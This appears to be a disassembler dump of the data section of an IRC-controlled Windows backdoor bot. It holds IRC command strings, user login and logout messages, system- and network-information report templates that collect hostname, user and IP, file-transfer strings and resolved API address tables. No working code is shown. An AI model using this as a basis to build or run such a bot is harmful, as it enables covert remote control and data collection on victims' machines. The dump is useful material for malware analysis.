aD_0		db '$%d',0              ; DATA XREF: sub_406BAB+94Co
aD_1		db '$%d-',0             ; DATA XREF: sub_406BAB+8AEo
		align 4
dword_41D7E8	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_406BAB+840o
		dd 0A0Dh
dword_41D800	dd 4E495001h, 47h	; DATA XREF: sub_406BAB+80Co
dword_41D808	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_406BAB+801o
		dd 0D017325h, 0Ah
dword_41D824	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_406BAB+7D0o
dword_41D830	dd 77h			; DATA XREF: sub_406BAB+68Eo
					; sub_406BAB+6A3o
dword_41D834	dd 323333h		; DATA XREF: sub_406BAB+601o
					; sub_406BAB+6C5o ...
unk_41D838	db  1Fh			; DATA XREF: sub_406BAB+582o
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aUserSLoggedOut	db ' User: %s logged out.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_406BAB+532o
aPart		db 'PART',0             ; DATA XREF: sub_406BAB+4E4o
					; sub_406BAB+59Fo
		align 4
aSS_0		db ':%s%s',0            ; DATA XREF: sub_406BAB+4BCo
		align 10h
aNick		db 'NICK',0             ; DATA XREF: sub_406BAB+3A8o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_406BAB+34Bo
					; sub_406BAB+5C3o
unk_41D888	db  1Fh			; DATA XREF: sub_406BAB+332o
					; sub_406BAB+32B9o ...
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aUserSLoggedO_0	db ' User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: sub_406BAB+2CFo
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_406BAB+278o
					; sub_406BAB+28E1o ...
		align 10h
a433		db '433',0              ; DATA XREF: sub_406BAB+250o
a@:					; DATA XREF: sub_406BAB+225o
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_406BAB+215o
a005		db '005',0              ; DATA XREF: sub_406BAB+200o
a001		db '001',0              ; DATA XREF: sub_406BAB+1EBo
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_406BAB+1CFo
					; sub_406BAB+395o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_406BAB+1AEo
		align 10h
aPing		db 'PING',0             ; DATA XREF: sub_406BAB+194o
		align 4
asc_41D8F8:				; DATA XREF: sub_406BAB+185o
					; sub_406BAB+33ADo
		unicode	0, <!>,0
asc_41D8FC:				; DATA XREF: sub_406BAB+A1o
					; sub_406BAB+B16o
		unicode	0, < >,0
asc_41D900	db ' :',0               ; DATA XREF: sub_406BAB+7Fo
					; sub_406BAB:loc_4073F5o
		align 4
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_40A0F0+39o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_40A1F9+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40A1F9+1AEo
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_40A1F9+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40A1F9:loc_40A35Do
		align 4
aSS_1		db '%s (%s)',0          ; DATA XREF: sub_40A1F9+EBo
a2003		db '2003',0             ; DATA XREF: sub_40A1F9+BAo
		align 4
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_40A4AD+ABo
		align 4
off_41DA68	dd offset loc_412F4D+1	; DATA XREF: sub_40A4AD:loc_40A521o
dword_41DA6C	dd 4E414Ch		; DATA XREF: sub_40A4AD:loc_40A51Ao
dword_41DA70	dd 6C616944h, 70752Dh	; DATA XREF: sub_40A4AD+5Eo
dword_41DA78	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_40A4AD+48o
dword_41DA88	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_40A573+47Do
unk_41DA94	db  1Fh			; DATA XREF: sub_40A573+3B6o
		db 2, 74h, 2
		db  1Fh
		db 66h,	74h, 70h
		db  20h
		db 2, 0BBh, 2
aFileNotFoundSS	db ' File not found: %s (%s).',0
		align 4
dword_41DABC	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_40A573+399o
dword_41DAD0	dd 21F5B1Fh, 64643168h,	1F026E33h, 0BB201F5Dh, 2520BBBBh
					; DATA XREF: sub_40A573+344o
		dd 72202C73h, 696E6E75h, 2520676Eh, 73h
unk_41DAF4	db  1Fh			; DATA XREF: sub_40A573+15Ao
		db 2, 74h, 2
		db  1Fh
		db 66h,	74h, 70h
		db  20h
		db 2, 0BBh, 2
aFailedToOpenFi	db ' Failed to open file: %s.',0
		align 4
unk_41DB1C	db  1Fh			; DATA XREF: sub_40A573+6Ao
		db 2, 74h, 2
		db  1Fh
		db 66h,	74h, 70h
		db  20h
		db 2, 0BBh, 2
aErrorSocketFai	db ' Error: socket() failed, returned: <%d>.',0
		align 4
aOctet		db 'octet',0            ; DATA XREF: sub_40A573+Fo
		align 4
aThreadList	db '-[Thread List]-',0  ; DATA XREF: sub_40AB11+10o
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_40ACDC+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40ACDC+35o
		align 10h
dword_41DBB0	dd 7A493C5Ah		; DATA XREF: sub_40B545+4w sub_40B54Fr ...
		align 10h
dword_41DBC0	dd 173Fh		; DATA XREF: sub_40B7DA+Dr
		dd 9875h, 9873h
off_41DBCC	dd offset sub_40B8A9	; DATA XREF: sub_40D118r
		dd offset nullsub_2
		dd offset nullsub_2
dword_41DBD8	dd 1B3Fh		; DATA XREF: sub_40B923+Dr
dword_41DBDC	dd 19930520h, 4	dup(0)	; DATA XREF: sub_40BDA5+2o
					; sub_40BDAE+2o
off_41DBF0	dd offset sub_40D156	; DATA XREF: sub_40D60A+1Cr
dword_41DBF4	dd 2			; DATA XREF: sub_413004+Er
					; sub_41303D+46r ...
off_41DBF8	dd offset aNull_0	; DATA XREF: sub_40D768:loc_40DACCr
					; sub_40D768+457r
					; "(null)"
off_41DBFC	dd offset aNull		; DATA XREF: sub_40D768+259r
					; "(null)"
dword_41DC00	dd 0D2D0920h, 5Dh	; DATA XREF: sub_40DF72:loc_40E4D9o
dword_41DC08	dd 5Dh,	10h		; DATA XREF: sub_40DF72:loc_40E3C9o
off_41DC10	dd offset off_41DC10	; DATA XREF: sub_40F757+Do
					; sub_40F757+69o ...
off_41DC14	dd offset off_41DC10	; DATA XREF: sub_40F757:loc_40F7D7r
					; sub_40F757+89w ...
		dd offset dword_41DC28
		dd offset dword_41DC28
dword_41DC20	dd 0FFFFFFFFh		; DATA XREF: sub_40F757r
					; sub_40F89B:loc_40F8E8w
		dd 0FFFFFFFFh
dword_41DC28	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	.nsp0:0041DC18o
					; .nsp0:0041DC1Co
off_41FC30	dd offset off_41DC10	; DATA XREF: sub_40F89B+15r
					; sub_40F89B+20w ...
dword_41FC34	dd 1E0h			; DATA XREF: sub_40B6FD:loc_40B739r
					; sub_40C4F8+185r ...
dword_41FC38	dd 14h			; DATA XREF: sub_410487+2o
off_41FC3C	dd offset aExp		; DATA XREF: sub_410487:loc_4104A4r
					; "exp"
		dd 1Dh,	417794h, 1Ah, 417790h, 1Bh, 417788h, 1Fh, 417780h
		dd 13h,	417778h, 21h, 417770h, 0Eh, 417768h, 0Dh, 417760h
		dd 0Fh,	417758h, 10h, 417750h, 5, 417748h, 1Eh,	417744h
		dd 12h,	417740h, 20h, 41773Ch, 0Ch, 417734h, 0Bh, 41772Ch
		dd 15h,	417724h, 1Ch, 41771Ch, 19h, 417714h, 11h, 41770Ch
		dd 18h,	417704h, 16h, 4176FCh, 17h, 4176F4h, 22h, 4176F0h
		dd 23h,	4176ECh, 24h, 4176E8h
dbl_41FD10	dq 1.797693134862316e308 ; DATA	XREF: sub_4101C2+B7r
					; sub_4101C2:loc_4102A9r ...
		dd 0
		dd 0FFF80000h
dbl_41FD20	dq 1.797693134862316e308 ; DATA	XREF: sub_4101C2+92r
					; sub_4101C2:loc_410281r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_41FD38	dt 2.3562723457267347066e313 ; DATA XREF: sub_41066F+Dr
					; sub_41066F+1Fr
		align 4
tbyte_41FD44	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41066F+31r
		align 10h
off_41FD50	dd offset sub_410B03	; DATA XREF: sub_40B8C1+Fw
					; sub_40D768+3AAr
off_41FD54	dd offset sub_410798	; DATA XREF: sub_40B8C1+5w
					; sub_40D768+3E2r
off_41FD58	dd offset sub_4107FE	; DATA XREF: sub_40B8C1+14w
					; sub_40DF72+430r
off_41FD5C	dd offset sub_41073E	; DATA XREF: sub_40B8C1+1Ew
					; sub_40D768+3CBr
off_41FD60	dd offset sub_4107E6	; DATA XREF: sub_40B8C1+28w
off_41FD64	dd offset sub_410B03	; DATA XREF: sub_40B8C1+32w
		dd offset sub_413D3C
		dd 0
		dd offset sub_4113CC
off_41FD74	dd offset sub_4113CC	; DATA XREF: sub_411422+29r
off_41FD78	dd offset word_41FD82	; DATA XREF: sub_40C324+23r
					; sub_40C324:loc_40C385r ...
		dd offset word_41FD82
		db 2 dup(0)
word_41FD82	dw 20h			; DATA XREF: sub_414993+18r
					; .nsp0:off_41FD78o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_41FF84	dd 1			; DATA XREF: sub_40C324:loc_40C32Cr
					; sub_40C324:loc_40C370r ...
byte_41FF88	db 2Eh			; DATA XREF: sub_40DF72:loc_40E266r
					; sub_40DF72+311r ...
		align 4
		dd 1
dword_41FF90	dd 1			; DATA XREF: sub_411C26+Co
dword_41FF94	dd 16h			; DATA XREF: sub_411C26:loc_411C5Br
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
byte_4200F8	db 1			; DATA XREF: sub_411C26+19o
					; sub_41203F+E1r
		db 2, 4, 8
		align 10h
dword_420100	dd 3A4h			; DATA XREF: sub_41203F+2Fo
dword_420104	dd 82798260h, 21h, 0	; DATA XREF: sub_41203F+11Dr
dword_420110	dd 0DFA6h		; DATA XREF: sub_41203F+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_4201F0	dd 0C0000005h		; DATA XREF: sub_41203F+3Co
					; sub_4128A6+Ar ...
dword_4201F4	dd 0Bh			; DATA XREF: sub_415588+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_420268	dd 3			; DATA XREF: sub_412765+58r
					; sub_41545B+C8r
dword_42026C	dd 7			; DATA XREF: sub_412765+5Er
					; sub_41545B+CDr
dword_420270	dd 0Ah			; DATA XREF: sub_4128A6+4r
					; sub_415588+4r
dword_420274	dd 8Ch			; DATA XREF: sub_412765+82r
					; sub_412765+8Fw ...
dword_420278	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_40D653:loc_40D710o
					; sub_41176F:loc_4117F0o
dword_420280	dd 2			; DATA XREF: sub_41303D+Eo
					; sub_41303D+28r
off_420284	dd offset aR6002FloatingP ; DATA XREF: sub_41303D+FCr
					; sub_41303D+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 417AB8h, 9, 417A8Ch, 0Ah,	417A68h, 10h, 417A3Ch
		dd 11h,	417A0Ch, 12h, 4179E8h, 13h, 4179BCh, 18h, 417984h
		dd 19h,	41795Ch, 1Ah, 417924h, 1Bh, 4178ECh, 1Ch, 4178C4h
		dd 78h,	4178B4h, 79h, 4178A4h, 7Ah, 417894h, 0FCh, 417890h
		dd 0FFh, 417880h
off_420310	dd offset dword_47FC20	; DATA XREF: sub_41303D+1Bo
					; sub_4133A7+55o
		align 8
		dd offset dword_47FC20
		dd 101h
dword_420320	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4133A7+72o
		dd 1000h, 0
dword_420330	dd 3 dup(0)		; DATA XREF: sub_40D653+50o
					; sub_4124A9+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_420350	dd 3 dup(0)		; DATA XREF: sub_40D653+58o
					; sub_4124A9:loc_4124C7o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_420380	dd 84h dup(0)		; DATA XREF: sub_4133A7+9Bo
dword_420590	dd 2694h		; DATA XREF: sub_40FE24+3r
					; sub_40FE77+46r ...
		align 8
dword_420598	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_413B1Co
dword_4205B0	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_413B32o
dword_4205C8	dd 7080h		; DATA XREF: sub_411D59+76r
					; sub_414438+5Ew ...
dword_4205CC	dd 1			; DATA XREF: sub_411D59+98r
					; sub_414438+8Bw ...
dword_4205D0	dd 0FFFFF1F0h		; DATA XREF: sub_411D59:loc_411E0Br
					; sub_414438+94w ...
dword_4205D4	dd 545350h, 0Fh	dup(0)	; DATA XREF: .nsp0:off_420654o
dword_420614	dd 544450h, 0Fh	dup(0)	; DATA XREF: .nsp0:off_420658o
off_420654	dd offset dword_4205D4	; DATA XREF: sub_414438+BAr
					; sub_414438+D9r ...
off_420658	dd offset dword_420614	; DATA XREF: sub_414438+F4r
					; sub_414438+11Br ...
		align 10h
dword_420660	dd 0FFFFFFFFh		; DATA XREF: sub_414438+1Dw
					; sub_414696+1Er ...
dword_420664	dd 0			; DATA XREF: sub_414696:loc_4147CAr
					; sub_414842+BFw
dword_420668	dd 0			; DATA XREF: sub_414696+192r
					; sub_414842+E0w
		align 10h
dword_420670	dd 0FFFFFFFFh		; DATA XREF: sub_414438+17w
					; sub_414696+26r ...
dword_420674	dd 0			; DATA XREF: sub_414696+13Ar
					; sub_414842+EAw ...
dword_420678	dd 0			; DATA XREF: sub_414696+1A1r
					; sub_414842+23r ...
dword_42067C	dd 0FFFFFFFFh		; DATA XREF: sub_414842+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_4206AC	dd 16Dh			; DATA XREF: sub_411D59+2Ar
					; sub_414842+2Er ...
dword_4206B0	dd 0FFFFFFFFh		; DATA XREF: sub_414842:loc_4148CEr
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_4206E8	dd 2 dup(0)		; DATA XREF: sub_4159B0+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_420848	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_4159B0+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
off_4209A8	dd offset off_417CA8	; DATA XREF: .nsp0:off_417CD0o
					; .nsp0:00417DFCo ...
		align 10h
a_?avexception@	db '.?AVexception@@',0
off_4209C0	dd offset off_417CA8	; DATA XREF: .nsp0:off_417CE8o
					; .nsp0:00417D7Co ...
		align 8
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
off_4209E0	dd offset off_417CA8	; DATA XREF: .nsp0:off_417D00o
					; .nsp0:00417D44o ...
		align 8
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_420A00	dd offset off_417CA8	; DATA XREF: .nsp0:off_417D88o
					; .nsp0:00417DCCo ...
		align 8
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
off_420A20	dd offset off_417CA8	; DATA XREF: .nsp0:off_417E08o
					; .nsp0:00417E44o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_413D3C
		align 10h
dword_420A40	dd 0			; DATA XREF: sub_4010CA+18r
					; sub_401412+92w ...
dword_420A44	dd 0			; DATA XREF: sub_40154B+19Cr
					; sub_401704+D9w ...
		dd 4AEh	dup(0)
dword_421D00	dd 6 dup(0)		; DATA XREF: sub_40154B+95o
					; sub_401704+65o ...
dword_421D18	dd 0			; DATA XREF: sub_401141+82w
					; sub_401141+FFo
dword_421D1C	dd 41h dup(0)		; DATA XREF: sub_401141+41o
dword_421E20	dd 41h dup(0)		; DATA XREF: sub_401141+63o
dword_421F24	dd 0			; DATA XREF: sub_401141+F5w
					; sub_401141+111r
dword_421F28	dd 0			; DATA XREF: sub_401141+52w
dword_421F2C	dd 0			; DATA XREF: sub_401141+4Dw
					; sub_401141+D2r
dword_421F30	dd 20h dup(0)		; DATA XREF: sub_401141+9Ao
					; sub_401141+B7o
dword_421FB0	dd 0			; DATA XREF: sub_401141+8Fw
dword_421FB4	dd 0			; DATA XREF: sub_401141+A4w
					; sub_401141+C1w
dword_421FB8	dd 0			; DATA XREF: sub_401141:loc_401307r
		align 10h
dword_421FC0	dd 0			; DATA XREF: sub_401141+190w
					; sub_401141+222o
dword_421FC4	dd 41h dup(0)		; DATA XREF: sub_401141+152o
dword_4220C8	dd 41h dup(0)		; DATA XREF: sub_401141+171o
dword_4221CC	dd 0			; DATA XREF: sub_401141+218w
					; sub_401141+234r
dword_4221D0	dd 0			; DATA XREF: sub_401141+160w
dword_4221D4	dd 0			; DATA XREF: sub_401141+1F5r
dword_4221D8	dd 20h dup(0)		; DATA XREF: sub_401141+1A8o
					; sub_401141+1DAo
dword_422258	dd 0			; DATA XREF: sub_401141+19Dw
dword_42225C	dd 0			; DATA XREF: sub_401141+1B2w
					; sub_401141+1E4w
dword_422260	dd 0			; DATA XREF: sub_401141:loc_4013C0r
dword_422264	dd 2 dup(0)		; DATA XREF: sub_401FE1+68o
dword_42226C	dd 0			; DATA XREF: sub_401A91+13o
					; sub_406BAB+33BFo ...
byte_422270	db 0			; DATA XREF: sub_4022FD+10o
					; sub_4032EE+438o ...
		align 8
dword_422278	dd 2400h dup(0)		; DATA XREF: sub_403145+1Do
dword_42B278	dd 0Dh dup(0)		; DATA XREF: sub_403145+13o
					; sub_403804+Fo
dword_42B2AC	dd 0			; DATA XREF: sub_403B83+C8o
dword_42B2B0	dd 0			; DATA XREF: sub_4043F8+2Aw
					; sub_4043F8+51r ...
dword_42B2B4	dd 0			; DATA XREF: sub_4023B8+45r
					; sub_402E09+ACr ...
dword_42B2B8	dd 77C72C6Bh		; DATA XREF: sub_4045F0+42Fw
					; sub_4045F0+473r
dword_42B2BC	dd 77EBA994h		; DATA XREF: sub_4045F0+65w
					; sub_405816+EEr
dword_42B2C0	dd 7622A3F4h		; DATA XREF: sub_4045F0+786w
					; sub_4045F0+7FBr ...
dword_42B2C4	dd 71C45229h		; DATA XREF: sub_4045F0+910w
					; sub_4045F0+96Er
dword_42B2C8	dd 71C24870h		; DATA XREF: sub_4045F0+8C2w
					; sub_4045F0+93Er
dword_42B2CC	dd 77C71BB0h		; DATA XREF: sub_4045F0+415w
					; sub_4045F0+463r
dword_42B2D0	dd 71C4502Ch		; DATA XREF: sub_4045F0+903w
					; sub_4045F0+966r
dword_42B2D4	dd 77DE801Bh		; DATA XREF: sub_4045F0+2FAw
					; sub_4045F0+34Fr
dword_42B2D8	dd 77DDACABh		; DATA XREF: sub_4045F0+397w
					; sub_40A1F9+11Er
dword_42B2DC	dd 77DE8075h		; DATA XREF: sub_4045F0+307w
					; sub_4045F0+357r
dword_42B2E0	dd 77DD7496h		; DATA XREF: sub_4045F0+348w
dword_42B2E4	dd 71AB1B7Bh		; DATA XREF: sub_4045F0+4E0w
dword_42B2E8	dd 77E686CCh		; DATA XREF: sub_4038CB+1Br
					; sub_4045F0+72w ...
dword_42B2EC	dd 71C2498Bh		; DATA XREF: sub_4045F0+8B5w
					; sub_4045F0+931r
dword_42B2F0	dd 77DDAB2Fh		; DATA XREF: sub_4045F0+32Ew
					; sub_4045F0+36Fr
dword_42B2F4	dd 7620E8C3h		; DATA XREF: sub_4045F0+7D4w
					; sub_4045F0+827r
dword_42B2F8	dd 77DD23D7h		; DATA XREF: sub_4045F0+24Bw
					; sub_4045F0+27Cr
dword_42B2FC	dd 76214750h		; DATA XREF: sub_4032EE+3Ar
					; sub_4045F0+7C7w ...
dword_42B300	dd 77E6D75Bh		; DATA XREF: sub_4045F0+B3w
dword_42B304	dd 7620BD61h		; DATA XREF: sub_4032EE+109r
					; sub_4045F0+7E1w ...
dword_42B308	dd 71AB60C9h		; DATA XREF: sub_4045F0+4D3w
					; sub_4045F0+656r ...
dword_42B30C	dd 77EBA6E9h		; DATA XREF: sub_4045F0+58w
					; sub_4045F0+CAr ...
dword_42B310	dd 76F36EAAh		; DATA XREF: sub_4045F0+9BCw
					; sub_4045F0+9C3r ...
dword_42B314	dd 77E802FCh		; DATA XREF: sub_4045F0+A6w
					; sub_4045F0+F2r
dword_42B318	dd 77C75455h		; DATA XREF: sub_4045F0+408w
					; sub_4045F0+45Br
dword_42B31C	dd 71AB12A7h		; DATA XREF: sub_4013CA+20r
					; sub_4045F0+57Cw ...
dword_42B320	dd 71C574FAh		; DATA XREF: sub_4045F0+8F6w
					; sub_4045F0+95Er
dword_42B324	dd 71AB1746h		; DATA XREF: sub_4045F0+56Fw
					; sub_4045F0+6D2r
dword_42B328	dd 71B28D0Dh		; DATA XREF: sub_4045F0+A77w
dword_42B32C	dd 762211EFh		; DATA XREF: sub_4045F0+779w
					; sub_4045F0+7E8r
dword_42B330	dd 77D902E3h		; DATA XREF: sub_4045F0+1B3w
					; sub_4054A5+15r
dword_42B334	dd 71C2FA86h		; DATA XREF: sub_4045F0+8CFw
					; sub_4045F0+946r
dword_42B338	dd 77DE1291h		; DATA XREF: sub_4045F0+314w
					; sub_4045F0+35Fr
dword_42B33C	dd 77E2C1B3h		; DATA XREF: sub_4045F0+321w
					; sub_4045F0+367r
dword_42B340	dd 71ABF628h		; DATA XREF: sub_4045F0+632w
dword_42B344	dd 71AB1836h		; DATA XREF: sub_4032EE+459r
					; sub_403B83+1Dr ...
dword_42B348	dd 77C72889h		; DATA XREF: sub_4045F0+43Cw
dword_42B34C	dd 71C453F8h		; DATA XREF: sub_4045F0+91Dw
					; sub_4045F0+976r
dword_42B350	dd 77DD5C55h		; DATA XREF: sub_4031BC+55r
					; sub_4045F0+258w ...
dword_42B354	dd 77E96645h		; DATA XREF: sub_403B00+25r
					; sub_403B00+39r ...
dword_42B358	dd 77428B97h		; DATA XREF: sub_4032EE+331r
					; sub_4045F0+AC4w ...
dword_42B35C	dd 71AB41DAh		; DATA XREF: sub_4045F0+4B9w
					; sub_4045F0+639r ...
dword_42B360	dd 762059A3h		; DATA XREF: sub_4045F0+7A0w
					; sub_4045F0+80Br
dword_42B364	dd 71C4A1B4h		; DATA XREF: sub_4045F0+8DCw
					; sub_4045F0+94Er
dword_42B368	dd 1F7CD214h		; DATA XREF: sub_4045F0+B35w
					; sub_4045F0+B66r
dword_42B36C	dd 1F7B9D96h		; DATA XREF: sub_4045F0+B4Fw
dword_42B370	dd 71AB1740h		; DATA XREF: sub_4045F0+4FAw
					; sub_4045F0+66Er ...
dword_42B374	dd 7620AFB6h		; DATA XREF: sub_4045F0+7BAw
					; sub_4045F0+7EEr
dword_42B378	dd 77D45B19h		; DATA XREF: sub_4045F0+172w
					; sub_4045F0+1C2r
dword_42B37C	dd 71AB157Eh		; DATA XREF: sub_4045F0+5FEw
					; sub_4045F0+722r ...
dword_42B380	dd 71AB3E5Dh		; DATA XREF: sub_4014AE+59r
					; sub_4023B8+F4r ...
dword_42B384	dd 71AB14DCh		; DATA XREF: sub_4045F0+4EDw
					; sub_4045F0+662r
dword_42B388	dd 0CC0004h		; DATA XREF: sub_4032EE+34r
					; sub_4045F0+856w ...
dword_42B38C	dd 77DD590Bh		; DATA XREF: sub_4031BC+2Ar
					; sub_4045F0+231w ...
dword_42B390	dd 71ABD755h		; DATA XREF: sub_4045F0+625w
					; sub_4045F0+73Ar ...
dword_42B394	dd 77DF7311h		; DATA XREF: sub_4045F0+2B5w
					; sub_4045F0+2C9r ...
